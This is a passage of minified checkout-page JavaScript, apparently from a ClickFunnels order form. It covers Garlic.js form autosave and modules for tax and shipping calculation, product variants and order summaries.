Array.indexOf&&-1!==localStorage.key(t).indexOf("garlic:")&&localStorage.removeItem(localStorage.key(t));return"function"!=typeof e||e()},clear:function(e){return localStorage.clear(),"function"!=typeof e||e()}};var n=function(e,t,n){this.init("garlic",e,t,n)};n.prototype={constructor:n,init:function(t,n,i,r){this.type=t,this.$element=e(n),this.options=this.getOptions(r),this.storage=i,this.path=this.options.getPath(this.$element)||this.getPath(),this.parentForm=this.$element.closest("form"),this.$element.addClass("garlic-auto-save"),this.expiresFlag=!!this.options.expires&&(this.$element.data("expires")?this.path:this.getPath(this.parentForm))+"_flag",this.$element.on(this.options.events.join("."+this.type+" "),!1,e.proxy(this.persist,this)),this.options.destroy&&e(this.parentForm).on("submit reset",!1,e.proxy(this.destroy,this)),this.retrieve()},getOptions:function(t){return e.extend({},e.fn[this.type].defaults,t,this.$element.data())},persist:function(){this.val!==this.getVal()&&(this.val=this.getVal(),this.options.expires&&this.storage.set(this.expiresFlag,((new Date).getTime()+1e3*this.options.expires).toString()),this.storage.set(this.path,this.getVal()),this.options.onPersist(this.$element,this.getVal()))},getVal:function(){return this.$element.is("input[type=checkbox]")?this.$element.prop("checked")?"checked":"unchecked":this.$element.val()},retrieve:function(){if(this.storage.has(this.path)){if(this.options.expires){var e=(new Date).getTime();if(this.storage.get(this.expiresFlag)<e.toString())return void this.storage.destroy(this.path) ;this.$element.attr("expires-in",Math.floor((parseInt(this.storage.get(this.expiresFlag))-e)/1e3))}var t=this.storage.get(this.path);return this.options.conflictManager.enabled&&this.detectConflict()?this.conflictManager():this.$element.is("input[type=radio], input[type=checkbox]")?"checked"===t||this.$element.val()===t?this.$element.attr("checked",!0):void("unchecked"===t&&this.$element.attr("checked",!1)):(this.$element.val(t),this.$element.trigger("input"),void this.options.onRetrieve(this.$element,t))}},detectConflict:function(){var t=this;if(this.$element.is("input[type=checkbox], input[type=radio]"))return!1;if(this.$element.val()&&this.storage.get(this.path)!==this.$element.val()){if(this.$element.is("select")){var n=!1;return this.$element.find("option").each(function(){0!==e(this).index()&&e(this).attr("selected")&&e(this).val()!==t.storage.get(this.path)&&(n=!0)}),n}return!0}return!1},conflictManager:function(){if("function"==typeof this.options.conflictManager.onConflictDetected&&!this.options.conflictManager.onConflictDetected(this.$element,this.storage.get(this.path)))return!1;this.options.conflictManager.garlicPriority?(this.$element.data("swap-data",this.$element.val()),this.$element.data("swap-state","garlic"),this.$element.val(this.storage.get(this.path))):(this.$element.data("swap-data",this.storage.get(this.path)),this.$element.data("swap-state","default")),this.swapHandler(),this.$element.addClass("garlic-conflict-detected"),this.$element.closest("input[type=submit]").attr("disabled",!0)},swapHandler:function(){var t=e(this.options.conflictManager.template);this.$element.after(t.text(this.options.conflictManager.message)),t.on("click",!1,e.proxy(this.swap,this))},swap:function(){var t=this.$element.data("swap-data");this.$element.data("swap-state","garlic"===this.$element.data("swap-state")?"default":"garlic"),this.$element.data("swap-data",this.$element.val()),e(this.$element).val(t)},destroy:function(){this.storage.destroy(this.path)},remove:function(){this.remove(),this.$element.is("input[type=radio], input[type=checkbox]")?e(this.$element).prop("checked",!1):this.$element.val("")},getPath:function(t){if(void 0===t&&(t=this.$element),this.options.getPath(t))return this.options.getPath(t);if(1!=t.length)return!1;for(var n="",i=t.is("input[type=checkbox]"),r=t;r.length;){var o=r[0],a=o.nodeName;if(!a)break;a=a.toLowerCase();var s=r.parent(),l=s.children(a);if(e(o).is("form, input, select, textarea")||i){if(a+=e(o).attr("name")?"."+e(o).attr("name"):"",l.length>1&&e(o).is("input[type=radio]"),n=a+(n?">"+n:""),"form"==o.nodeName.toLowerCase())break;r=s}else r=s}return"garlic:"+document.domain+(this.options.domain?"*":window.location.pathname)+">"+n},getStorage:function(){return this.storage}},e.fn.garlic=function(i,r){function o(t){var r=e(t),o=r.data("garlic"),l=e.extend({},a,r.data());if(("undefined"==typeof l.storage||l.storage)&&"password"!==e(t).attr("type"))return o||r.data("garlic",o=new n(t,s,l)),"string"==typeof i&&"function"==typeof o[i]?o[i]():void 0}var a=e.extend(!0,{},e.fn.garlic.defaults,i,this.data()),s=new t,l=!1;return!!s.defined&&(this.each(function(){if(e(this).is("form"))e(this).find(a.inputs).each(function(){e(this).is(a.excluded)||(l=o(e(this)))});else if(e(this).is(a.inputs)){if(e(this).is(a.excluded))return;l=o(e(this))}}),"function"==typeof r?r():l)},e.fn.garlic.Constructor=n,e.fn.garlic.defaults={destroy:!1,inputs:"input, textarea, select",excluded:'input[type="file"], input[type="hidden"]',events:["DOMAttrModified","textInput","input","change","click","keypress","paste","focus"],domain:!0,expires:!1,conflictManager:{enabled:!1,garlicPriority:!0,template:'<span class="garlic-swap"></span>',message:"This is your saved data. Click here to see default one",onConflictDetected:function(){return!0}},getPath:function(){},onRetrieve:function(){},onPersist:function(){}},e(window).on("load",function(){e('[data-persist="garlic"]').each(function(){e(this).garlic()}).promise().done(function(){let e;"function"==typeof CustomEvent?e=new CustomEvent("garlic:fields:updated",{bubbles:!0,cancelable:!0}):(e=document.createEvent("Event")).initEvent("garlic:fields:updated",!0,!0),document.body.dispatchEvent(e)}),e('.elInput:visible[name!="custom_type"]').each(function(){e(this).garlic()}),e('.elInput:visible[name="custom_type"]').each(function(){e(this).garlic({getPath:function(t){return e(t).attr("data-custom-type")}})}),e(".o2step_step1 .elInput").each(function(){e(this).garlic()}),e(".containerModal .elInput").each(function(){e(this).garlic()})})}(window.jQuery||window.Zepto),"undefined"==typeof ClickFunnels&&(ClickFunnels={}),ClickFunnels.CalculateTaxes=function(){this.shippingInputs={shipping_address:$('[name="shipping_address"]').first()[0],shipping_city:$('[name="shipping_city"]').first()[0],shipping_state:$('[name="shipping_state"]').first()[0],shipping_country:$('[name="shipping_country"]').first()[0],shipping_zip:$('[name="shipping_zip"]').first()[0]},this.billingInputs={address:$('[name="address"]').first()[0],city:$('[name="city"]').first()[0],state:$('[name="state"]').first()[0],country:$('[name="country"]').first()[0],zip:$('[name="zip"]:visible').first()[0]},this.formInputs={},this.eventMap={SELECT:"change",INPUT:"blur"},this.formData={},this.updateTaxInfo=this.updateTaxInfo.bind(this)},ClickFunnels.CalculateTaxes.prototype.run=function(){this.scrubInputs(),this.addEventListeners(),this.initEventListeners()},ClickFunnels.CalculateTaxes.prototype.scrubInputs=function(){this.formInputs=_.pick(this.shippingInputs,_.identity),_.isEmpty(this.formInputs)&&(this.formInputs=_.pick(this.billingInputs,_.identity))},ClickFunnels.CalculateTaxes.prototype.addEventListeners=function(){const e=this;return _.chain(e.formInputs).values().each(function(t){if(t){const n=t.nodeName,i=e.eventMap[n]||"blur";t.addEventListener(i,function(){const{value:n,name:i}=t;e.formData[i]!==n&&$(document).trigger("tax:fields:updated",[i,n])})}}).value()},ClickFunnels.CalculateTaxes.prototype.initEventListeners=function(){$(document).on("tax:fields:updated",this.updateTaxInfo)},ClickFunnels.CalculateTaxes.scrubTaxAmount=function(){$("#payment-request-button").show(),$(".taxAmount").remove()},ClickFunnels.CalculateTaxes.prototype.fetchTaxAmount=function(e={}){if(!ClickFunnels.CalculateTaxes.canCalcTaxes())return;var t=Object.keys(window.cfpe.cartVariants).map(function(e){return{productVariantId:e,quantity:window.cfpe.cartVariants[e].quantity}});const n=Object.keys(e);this.formData.productIds=n,this.formData.productVariants=t,$.ajax({type:"POST",url:"/pages/"+page_key+"/calculate_tax",data:this.formData}).done(function(e){ClickFunnels.CalculateTaxes.scrubTaxAmount(),window.cfpe.avalaraTaxAmount=_.result(e,"taxAmount"),ClickFunnels.CalculateTaxes.printTaxInfo(window.cfpe.avalaraTaxAmount)}).error(ClickFunnels.CalculateTaxes.scrubTaxAmount)},ClickFunnels.CalculateTaxes.printTaxInfo=function(e){e&&!_.isNaN(e)&&($(".product-price").parents(".elOrderProductOptions:not(table)").append("<div class='clearfix elOrderProductOptinProducts taxAmount'><span class='description elOrderProductOptinProductName product-name pull-left'>Taxes</span><span class='amount elOrderProductOptinPrice product-price pull-right'>$"+e.toFixed(2)+"</span></div>"),$(".product-price").parents("table.elOrderProductOptions").append("<tr class='clearfix elOrderProductOptinProducts taxAmount'><td class='description elOrderProductOptinProductName product-name pull-left'>Taxes</td><td class='amount elOrderProductOptinPrice product-price pull-right'>$"+e.toFixed(2)+"</td></tr>")),$("#payment-request-button").length&&updateApplePay(),window.ClickFunnels.isOrderWithProductVariants&&window.ClickFunnels.OrderProductVariationSummary.updateTax(window.cfpe.avalaraTaxAmount)},ClickFunnels.CalculateTaxes.prototype.updateTaxInfo=function(e,t,n){this.formData[t.split("_").pop()]=n,this.prepareAndFetchTaxes(window.cfpe.cartProds)},ClickFunnels.CalculateTaxes.prototype.prepareData=function(){this.formData=this.formInputs;let e=_.pick(this.formData,_.identity);this.formData=Object.keys(e).reduce(function(t,n){let i=e[n];return _.isElement(e[n])&&($(e[n]).garlic(),i=e[n].value),t[n.split("_").pop()]=i,t},{})},ClickFunnels.CalculateTaxes.prototype.prepareAndFetchTaxes=function(e){this.prepareData(),this.isValid()?($("#payment-request-button").hide(),this.fetchTaxAmount(e)):ClickFunnels.CalculateTaxes.scrubTaxAmount()},ClickFunnels.CalculateTaxes.calcTaxesAfterProductChange=function(e){const t=new ClickFunnels.CalculateTaxes;t.scrubInputs(),t.prepareAndFetchTaxes(e)},ClickFunnels.CalculateTaxes.prototype.isValid=function(){return _.chain(this.formData).keys().filter(function(e){return new RegExp(/zip/g).test(e)}).value().length>0&&!ClickFunnels.CalculateTaxes.isBlank(this.formData.zip)},ClickFunnels.CalculateTaxes.prototype.collectAfterGarlic=function(){this.scrubInputs(),this.prepareAndFetchTaxes(window.cfpe.cartProds)},ClickFunnels.CalculateTaxes.canCalcTaxes=function(){const e=document.querySelector("meta[name='can_calculate_taxes']");return e&&"true"===e.getAttribute("content")},ClickFunnels.CalculateTaxes.isBlank=function(e){return!!(e||"").match(/^\s*$/)},document.body.addEventListener("garlic:fields:updated",function(){if(ClickFunnels.CalculateTaxes.canCalcTaxes()){(new ClickFunnels.CalculateTaxes).collectAfterGarlic()}}),function(){var e;e=function(){function e(){this.shippingInputs={shipping_address:$('[name="shipping_address"]').first()[0],shipping_city:$('[name="shipping_city"]').first()[0],shipping_state:$('[name="shipping_state"]').first()[0],shipping_country:$('[name="shipping_country"]').first()[0],shipping_zip:$('[name="shipping_zip"]').first()[0],shipping_email:$('[name="shipping_email"]').first()[0]},this.billingInputs={address:$('[name="address"]').first()[0],city:$('[name="city"]').first()[0],state:$('[name="state"]').first()[0],country:$('[name="country"]').first()[0],zip:$('[name="zip"]:visible').first()[0],email:$('[name="email"]:visible').first()[0]},this.formInputs={},this.eventMap={SELECT:"change",INPUT:"blur"},this.progress=null,this.formData={},this.scrubInputs(),this.addEventListeners()}return e.prototype.addEventListeners=function(){var e;return e=this,this.fetchShippingRates=this.fetchShippingRates.bind(this),this.collectAfterGarlic=this.collectAfterGarlic.bind(this),$(document).on("shipping:fields:updated",this.fetchShippingRates),$(document).on("garlic:fields:updated",this.collectAfterGarlic),$('input[name="purchase[product_id]"], input[name="order[product_ids][]"], input[name="purchase[product_ids][]"]').not("#cfAR input").on("change",function(t){return e.collectAfterGarlic(t)}),$(".order2stepbutton").on("click",function(){return e.getRates(),$('input[name="purchase[product_id]"], input[name="order[product_ids][]"], input[name="purchase[product_ids][]"]').not("#cfAR input").on("change",function(t){return e.collectAfterGarlic(t),e.getRates()})}),_.chain(e.formInputs).values().each(function(t){var n,i;if(t)return n=t.nodeName,i=e.eventMap[n]||"blur",t.addEventListener(i,function(){if(e.formData[t.name]!==t.value)return $(document).trigger("shipping:fields:updated",[t.name,t.value])})}).value()},e.prototype.getRates=function(){var e;return e=this,this.progress&&this.progress.abort(),this.progress=$.ajax({url:"/pages/"+page_key+"/calculate_shipping",type:"POST",dataType:"json",data:$("#cfAR").serialize()}).done(function(t){if(null!=t)return e.printShippingSummary(t)}).error(e.scrubShippingAmount)},e.prototype.fetchShippingRates=function(e,t,n){return $("#cfAR input[name='contact["+t+"]']").val(n),this.formData[t.split("_").pop()]=n,this.prepareData(),this.setcfARFields(),this.isValid()?($("#payment-request-button").hide(),this.getRates()):this.scrubShippingAmount()},e.prototype.setcfARFields=function(){var e;return e=this,_.chain(this.formInputs).values().each(function(t){if(t&&!e.isBlank(t.value))return $("#cfAR input[name='contact["+t.name+"]']").val(t.value)})},e.prototype.isValid=function(){return _.chain(this.formData).keys().filter(function(e){return new RegExp(/address|city|state|country|zip|email/g).test(e)}).value().length>5&&!this.isBlank(this.formData.zip)&&!this.isBlank(this.formData.address)&&!this.isBlank(this.formData.city)&&!this.isBlank(this.formData.state)&&!this.isBlank(this.formData.country)&&!this.isBlank(this.formData.email)},e.prototype.isBlank=function(e){return!!(e||"").match(/^\s*$/)},e.prototype.prepareData=function(){var e;return this.formData=this.formInputs,e=_.pick(this.formData,_.identity),this.formData=Object.keys(e).reduce(function(t,n){var i;return i=e[n],_.isElement(e[n])&&($(e[n]).garlic(),i=e[n].value),t[n.split("_").pop()]=i,t},{})},e.prototype.collectAfterGarlic=function(){return this.scrubInputs(),this.prepareData(),this.setcfARFields(),this.isValid()?($("#payment-request-button").hide(),this.getRates()):this.scrubShippingAmount()},e.prototype.printShippingSummary=function(e){var t,n,i,r,o,a;if(null==e&&(e={}),e.shipments&&e.rates&&e.finalAmount&&e.product_ids)return t=this,n=e.batch_id,o=JSON.parse(e.shipments),r=JSON.parse(e.product_ids),a=JSON.parse(e.rates),i=JSON.parse(e.finalAmount).toFixed(2),'[data-de-type="orpo"]','[data-title="cf-order-summary"] .elOrderProductOptions',$(".o2step_wrapper").length>0?(".o2step_step2",'[data-title="cf-order-summary"]'):$('[data-de-type="orpoi"]').length&&'[data-de-type="orpoi"]',$(document).trigger("shipping:updated",[order,i]),t.scrubShippingAmount(),i&&!_.isNaN(i)&&($(".product-price").parents(".elOrderProductOptions:not(table)").append("<div class='clearfix elOrderProductOptinProducts shippingAmount'><span class='description elOrderProductOptinProductName product-name pull-left'>Shipping</span><span class='amount elOrderProductOptinPrice product-price pull-right'>$"+i+"</span></div>"),$(".product-price").parents("table.elOrderProductOptions").append("<tr class='clearfix elOrderProductOptinProducts shippingAmount'><td class='description elOrderProductOptinProductName product-name pull-left'>Shipping</td><td class='amount elOrderProductOptinPrice product-price pull-right'>$"+i+"</td></tr>"),$('#cfAR input[name*="purchase[shipment_records_attributes]"]').remove(),$.each(o,function(e,i){return t.replaceOrAppendShipmentRecord("batch-"+e,"batch_id",n),t.replaceOrAppendShipmentRecord("cents-"+e,"amount_cents",(100*a[i.id].rate).toFixed(2)),t.replaceOrAppendShipmentRecord("ship-"+e,"shipment_id",i.id),t.replaceOrAppendShipmentRecord("rate-"+e,"rate_id",a[i.id].id),t.replaceOrAppendShipmentRecord("product-"+e,"product_id",r[i.id])})),$("#payment-request-button").length?updateApplePay():void 0},e.prototype.replaceOrAppendShipmentRecord=function(e,t,n){return $("#cfAR").append($('<input id="'+e+'" type="hidden" name="purchase[shipment_records_attributes][]['+t+']" />').val(n))},e.prototype.scrubShippingAmount=function(){return $("#payment-request-button").show(),$(".shippingAmount").remove()},e.prototype.scrubInputs=function(){if(this.formInputs=_.pick(this.shippingInputs,_.identity),_.isEmpty(this.formInputs))return this.formInputs=_.pick(this.billingInputs,_.identity)},e}(),null==this.Clickfunnels&&(this.Clickfunnels={}),this.Clickfunnels.CalculateShipping=e,this.calcShipping=function(){return $(document).ready(function(){return new Clickfunnels.CalculateShipping})}}.call(this),function(){function e(e){var t,n,i=$('[id="order-declined-message"]'),r=window.CFUtils.safeJSONParse(e);if(r instanceof Array)for(t=document.createElement("ul"),n=0;n<r.length;n++){var o=document.createElement("li");o.textContent=r[n],t.append(o)}else e=e.replace(/"/g,""),t=document.createTextNode(e);i.html(""),i.append(t),i.show(),i.is(":visible")||alert(e)}function t(){var e=$('[id="order-declined-message"]');e.html(""),e.hide()}window.ClickFunnels=window.ClickFunnels||{},window.ClickFunnels.OrderDeclinedMessage=window.ClickFunnels.OrderDeclinedMessage||{},window.ClickFunnels.OrderDeclinedMessage.show=e,window.ClickFunnels.OrderDeclinedMessage.hide=t}(),window.cfStripeElementsCardElement=undefined,$(document).ready(AttachStripeElements),function(){function e(e){(e=i(e)).each(function(){var e=$(this);e.attr("data-previous-content",e.html())})}function t(e){setTimeout(n,300,e)}function n(e){(e=i(e)).each(function(){var e=$(this).attr("data-previous-content");e&&(this.innerHTML=e)})}function i(e){return e==undefined&&(e=$("[href=#submit-form], [href=#submit-form-2step-order]")),e}window.ClickFunnels=window.ClickFunnels||{},window.ClickFunnels.CFPeOrders=window.ClickFunnels.CFPeOrders||{},window.ClickFunnels.CFPeOrders.SubmitButton=window.ClickFunnels.SubmitButton||{},window.ClickFunnels.CFPeOrders.SubmitButton.storeContent=e,window.ClickFunnels.CFPeOrders.SubmitButton.replacePreviousContent=t}(),function(){function e(){var e,t=document.querySelectorAll(".elOrderProductVariationSelect");for(e=0;e<t.length;e++){var i=t[e];n(i.getAttribute("data-product-variation-json")),r(i)}var s=document.querySelectorAll(".elOrderProductVariationSelectValue");for(e=0;e<s.length;e++)s[e].addEventListener("change",function(){var e=window.CFUtils.findAncestor(this,".elOrderProductVariationSelect");f(e)||o(e,this),r(e),a(e),l(e)})}function t(e){return c(u(e))}function n(e){e&&(b=JSON.parse(e))}function r(e){var n,i,r=t(e).valueIds,o=e.querySelectorAll(".elOrderProductVariationSelectValue");for(n=0;n<o.length;n++){var a=o[n].querySelectorAll("option");for(i=0;i<a.length;i++){var l=a[i],c=parseInt(l.getAttribute("value"),10);if(prev=r[n],r[n]=c,g(r)?l.classList.remove("productVariationUnavailableValue"):l.classList.add("productVariationUnavailableValue"),r[n]=prev,s(l),l.selected){var u=window.CFUtils.findAncestor(l,"select");l.classList.contains("productVariationUnavailableValue")?u.classList.add("productVariationUnavailableSelectProduct"):u.classList.remove("productVariationUnavailableSelectProduct")}}}}function o(e,t){var n,i=t.getAttribute("data-type-id"),r=e.querySelectorAll(".elOrderProductVariationSelectValue"),o=[];for(n=0;n<r.length;n++){var a=r[n],s=y(a);if(o.push(s),a.getAttribute("data-type-id")==i)break}o=p(o);var l=b[h()],u=Object.keys(l);for(n=0;n<u.length;n++){var f=(w=u[n]).indexOf(o),g=c(w);if(0==f&&g.isActive)return void m(e,g.valueIds)}var v=undefined,_=9999,T=d(e);s=parseInt(y(t),10);for(n=0;n<u.length;n++){var w;f=(w=u[n]).indexOf(o);if((g=c(w)).isActive&&g.valueIds.includes(s)){var S=window.CFUtils.arrSymmetricDiff(T,g.valueIds).length;S<_&&(v=g.valueIds,_=S)}}v&&m(e,v)}function a(e){var n=t(e);if(n){var i=e.querySelector(".elOrderProductVariationSelectDescription"),r=e.querySelector(".elOrderProductVariationSelectPrice"),o=e.querySelector(".elOrderProductVariationSelectImage");i.innerHTML=n.description,r.innerHTML=n.formattedPrice,o.setAttribute("src",n.imageUrl),o.setAttribute("alt",n.imageAltText)}}function s(e){e.classList.contains("productVariationUnavailableValue")?e.innerHTML.indexOf(v)<0&&(e.innerHTML+=v):e.innerHTML=e.innerHTML.replace(v,"")}function l(e){var t=e.querySelector(".elButtonAddToCart");e.querySelectorAll(".elOrderProductVariationSelectValue option.productVariationUnavailableValue:checked").length>0?t.setAttribute("disabled","disabled"):t.removeAttribute("disabled")}function c(e){if(b){var t=h(),n=b[t],i=n[e];return{productId:t,productName:n.product_name,productCurrency:n.product_currency,variantId:i.variant_id,imageUrl:i.image_url,imageAltText:i.image_alt_text,priceCents:i.price_cents,formattedPrice:i.formatted_price,description:i.description,isActive:i.is_active,valueIds:i.value_ids,formattedValueNames:i.formatted_value_names}}}function u(e){return p(d(e))}function d(e){var t,n=[],i=e.querySelectorAll(".elOrderProductVariationSelectValue");if(0!=i.length){for(t=0;t<i.length;t++){var r=y(i[t]);n.push(r)}return n}}function f(e){return t(e).isActive}function p(e){return e.join()}function h(){return parseInt(Object.keys(b)[0],10)}function m(e,t){for(i=0;i<t.length;i++){var n=t[i],r=e.querySelector('.elOrderProductVariationSelectValue option[value="'+n+'"]');$select=window.CFUtils.findAncestor(r,"select"),$select.value=""+n}}function g(e){return c(p(e)).isActive}function y(e){var t=e.selectedIndex;return e.options[t].value}var v=" (unavailable)",b=undefined;window.ClickFunnels=window.ClickFunnels||{},window.ClickFunnels.OrderProductVariationSelect={init:e,getSelectedVariantData:t}}(),function(){function e(){y={},$('[name="purchase[product_variants][][quantity]"]').each(function(){this.setAttribute("value",0)});var e=$('[data-title="cf-pv-order-summary"] table.elProductVariationsOrderSummary'),i=$('[data-cf-product-variations-template="true"]');if(0!=e.length){i.find("input").attr("disabled",!0);var r=e.find(".elProductVariationOrderSummaryProducts"),o=r.first().clone();r.remove(),e.data("row-template",o),b=t(),$('[data-title="cf-pv-order-summary"] .elProductVariationsOrderSummary .pvors-product-sub-total-price,[data-title="cf-pv-order-summary"] .elProductVariationsOrderSummary .pvors-product-sales-tax-price,[data-title="cf-pv-order-summary"] .elProductVariationsOrderSummary .pvors-product-shipping-price,[data-title="cf-pv-order-summary"] .elProductVariationsOrderSummary .pvors-product-total-price').html(window.CFUtils.displayAmountWithCurrency(_,b)),u(),n()}else i.remove()}function t(){var e=$(".elOrderProductVariationSelect").first(),t={};return window.ClickFunnels.OrderProductVariationSelect&&window.ClickFunnels.OrderProductVariationSelect.getSelectedVariantData&&(t=window.ClickFunnels.OrderProductVariationSelect.getSelectedVariantData(e[0])),t.productCurrency||"USD"}function n(){$(".elOrderProductVariationSelect .elButtonAddToCart").on("click",function(){var e=$(this).closest(".elOrderProductVariationSelect"),t=window.ClickFunnels.OrderProductVariationSelect.getSelectedVariantData(e[0]);r(t),i(t),s(t),f(),cfpeRebuildOrderSummary()})}function i(e){var t=e.productId,n=e.variantId;window.cfpe.cartVariants[n]={quantity:y[t][n].qty}}function r(e){var t=e.productId,n=e.variantId;y[t]||(y[t]={}),y[t][n]?y[t][n].qty<g&&++y[t][n].qty:(y[t][n]=e,y[t][n].qty=1)}function o(e){(v=e).qty=1}function a(){v={},p()}function s(e){var t,n,i,r,o,a=$('[data-title="cf-pv-order-summary"] .elProductVariationsOrderSummary'),s=a.data("row-template"),c=a.find(".elProductVariationOrderSummaryProducts"),u=a.find(".elProductVariationOrderSummaryBumpProduct"),f=e.productId,p=e.variantId,m=y[f][p].qty;if(t=h(c,e.variantId))n=$(t).find(".pvors-product-quantity select");else for((t=s.clone()).find(".pvors-product-name").html(e.productName+"<br />"+e.formattedValueNames),t.find(".pvors-product-price").html(e.formattedPrice),t.data("product-variant",e),t.insertBefore(u),t.show(),i=(n=t.find(".pvors-product-quantity select")).find("option"),o=1;o<=g;o++)(r=i.clone()).val(o+""),r.text(o),n.append(r);l(),n.val(m),d(e,m)}function l(){$('[data-title="cf-pv-order-summary"]').find(".elProductVariationOrderSummaryEmpty").hide()}function c(){0==$(".elProductVariationOrderSummaryProducts").length&&$('[data-title="cf-pv-order-summary"]').find(".elProductVariationOrderSummaryEmpty").show()}function u(){$('[data-title="cf-pv-order-summary"]').on("change",".elProductVariationsOrderSummary .elOrderProductQuantitySelect",function(){var e=$(this);d(e.parents(".elProductVariationOrderSummaryProducts").data("product-variant"),e.val())})}function d(e,t){var n=e.productId,r=e.variantId,o=$('[name="purchase[product_variants][][product_variant_id]"][value='+r+"]"),a=o.prev("input"),s=o.next("input");s[0]&&(0==t?(o.attr("disabled",!0),a.attr("disabled",!0),s.attr("disabled",!0),s[0].setAttribute("value",0)):(o.attr("disabled",!1),a.attr("disabled",!1),s.attr("disabled",!1),a.attr("checked",!0),o.attr("checked",!0),s[0].setAttribute("value",t))),y[n][r].qty=t,i(e),f(),cfpeRebuildOrderSummary()}function f(){var e=$('[data-title="cf-pv-order-summary"]'),t=0,n=b;Object.keys(y).forEach(function(e){var i=y[e];Object.keys(i).forEach(function(e){var r=i[e].priceCents,o=i[e].qty;t+=r*o,n=n||i[e].productCurrency})});var i=e.find(".pvors-product-sub-total-price"),r=e.find(".pvors-product-sales-tax-price"),o=$('[data-title="cf-pv-order-summary"]').find(".elProductVariationOrderSummarySalesTax"),a=e.find(".pvors-product-total-price");t+=v.priceInCents||0,_=t+T+w,window.ClickFunnels.OrderProductVariationSummary.orderTotal=_,i.html(window.CFUtils.displayAmountWithCurrency(t,n)),T?(r.html(window.CFUtils.displayAmountWithCurrency(T,n)),o.show()):o.hide(),a.html(window.CFUtils.displayAmountWithCurrency(_,n))}function p(e){e&&!isNaN(e)?T=100*e:T=0;f()}function h(e,t){return e.filter(function(e,n){var i=$(n);return(i.data("product-variant")&&i.data("product-variant").variantId)==t})[0]}function m(e){var t,n=$('[data-title="cf-pv-order-summary"]').find(".elProductVariationOrderSummaryBumpProduct"),i=n.find(".pvors-bump-product-name"),r=n.find(".pvors-bump-product-price"),s=$('#cfAR [name="purchase[product_ids][]"][value="'+e.val()+'"]'),u=s.data("product-label"),d=s.data("product-amount"),p=s.data("product-currency-code"),h=window.CFUtils.displayAmountWithCurrency(d,p,{isPriceInCents:!1});e&&e.is(":checked")?(i.text(u),r.text(h),n.show(),l(),o({qty:1,priceInCents:100*d,displayPrice:h,tax:t,name:u,currency:p})):(n.hide(),c(),a()),f()}var g=50,y={},v={},b="USD",_=0,T=0,w=0;window.ClickFunnels=window.ClickFunnels||{},window.ClickFunnels.OrderProductVariationSummary={init:e,setBumpProduct:m,updateTax:p,orderTotal:_}}(),1!=cfpeorders){function getURLParameter(e){return decodeURIComponent((RegExp(e+"=(.+?)(&|$)").exec(location.search)||[,null])[1])}function cfpeRebuildOrderSummary(){var e=(window.cfpe||{}).prodPrices||{},t='[data-de-type="orpo"]',n='[data-title="cf-order-summary"] .elOrderProductOptions:not(table):not(:has(table))',i='[data-title="cf-order-summary"] table.elOrderProductOptions';$(".qty_select").length;$(".o2step_wrapper").length>0?(t=".o2step_step2",n+=', .o2step_wrapper .elOrderProductOptions[data-title="cf-order-summary"]:not(table)',i+=', .o2step_wrapper table.elOrderProductOptions[data-title="cf-order-summary"]'):$('[data-de-type="orpoi"]').length&&(t='[data-de-type="orpoi"]'),$('[data-title="cf-order-summary"]').hide(),0==$('[data-title="cf-order-summary"] .qty-head').length&&$(".qty_select").length>0&&$('[data-title="cf-order-summary"] .elOrderProductOptinLabel .elOrderProductOptinItem').before('<div class="pull-left qty-head">Qty</div>');var r=$("<div/>").addClass("clearfix elOrderProductOptinProducts");r.append($("<div/>").addClass("pull-left elOrderProductOptinProductName product-name").css("width","inherit")),r.append($("<div/>").addClass("pull-right elOrderProductOptinPrice product-price"));var o=$("<tr/>").addClass("clearfix elOrderProductOptinProducts");o.append($("<td/>").addClass("pull-left elOrderProductOptinProductName product-name").css("width","inherit")),o.append($("<td/>").addClass("pull-right elOrderProductOptinPrice product-price"));var a=0;$('[data-title="cf-order-summary"] .elOrderProductOptinProducts').remove();var s={};$('#cfAR [name="purchase[product_ids][]"]:checked').each(function(){var e=$(this).val();s.hasOwnProperty(e)?s[e].qty++:s[e]={qty:1},s[e].taxable=$(this).data("product-taxable")||!1}),$.each(s,function(s,l){var{qty:c}=l,u=s,d=$('#cfAR input[name="purchase[product_ids][]"][value="'+u+'"]').first();d.length||(d=$(t+' [name="purchase[product_id]"][value="'+u+'"]'));var f=d.data("product-name"),p=0,h=c*(p=e.hasOwnProperty(u)?e[u].toFixed(2):parseFloat(d.data("product-amount")||0).toFixed(2)),m=d.data("product-currency-code");m;p.toLocaleString(undefined,{style:"currency",currency:m});var g=f;$(".qty_select").length>0&&(g='<span class="prodQty">'+c+"</span>"+f);var y="";$.isNumeric(h)&&(y=m?h.toLocaleString(undefined,{style:"currency",currency:m}):h+"");var v=d.data("product-display-amount");void 0!==v&&(y=v),$currTemplate=r.clone(),$currTemplate.find(".product-name").html(g),$currTemplate.find(".product-price").html(y),$currTemplate.appendTo($(n)),$currTemplateTable=o.clone(),$currTemplateTable.find(".product-name").html(g),$currTemplateTable.find(".product-price").html(y),$currTemplateTable.appendTo($(i)),a+=h}),a+=window.ClickFunnels.OrderProductVariationSummary.orderTotal,window.cfpe=window.cfpe||{},window.cfpe.orderTotal=a,window.cfpe.cartProds=s||{},window.cfpe.cartVariants=window.cfpe.cartVariants||[],a?ClickFunnels.CalculateTaxes.calcTaxesAfterProductChange(s):0==s.length&&($currTemplate=r.clone(),$currTemplate.find(".product-name").html("Please Select Your Purchase"),$currTemplate.find(".product-price").html(""),$currTemplate.appendTo($(n)),$currTemplateTable=o.clone(),$currTemplateTable.find(".product-name").html("Please Select Your Purchase"),$currTemplateTable.find(".product-price").html(""),$currTemplateTable.appendTo($(i))),$('[data-title*="cf-order-summary"]').show()}$(".elOrderProductOptions, .elProductVariationsOrderSummary").each(function(){$(this).wrap("<form></form>")}),$(function(){$('.elOrderProductOptions:not(:has(input,select), [data-de-type="ors"] div.elOrderProductOptions), [data-de-type="ors"]').attr("data-title","cf-order-summary"),$('[data-de-type="pvors"] div.elProductVariationsOrderSummary, [data-de-type="pvors"]').attr("data-title","cf-pv-order-summary"),$("#bump-offer").off(),$('input[name="purchase[product_id]"], input[name="order[product_ids][]"], input[name="purchase[product_ids][]"]').not("#cfAR input").on("change",function(){if("purchase[product_id]"==this.name){var e=$('input[name="purchase[product_id]"]').not("#cfAR input");e.prop("checked",!1),e.filter('[value="'+this.value+'"]').prop("checked",!0),$('.elProductOptionsBox option[value="'+this.value+'"], .elOrderProductOptionsSelect option[value="'+this.value+'"]').attr("selected","selected")}else"purchase[product_ids][]"==this.name&&$('input[name="purchase[product_ids][]"]').not("#cfAR input").prop("checked",this.checked);$('input[name="purchase[product_id]"]:not(:checked), input[name="purchase[product_ids][]"]:not(:checked)').not("#cfAR 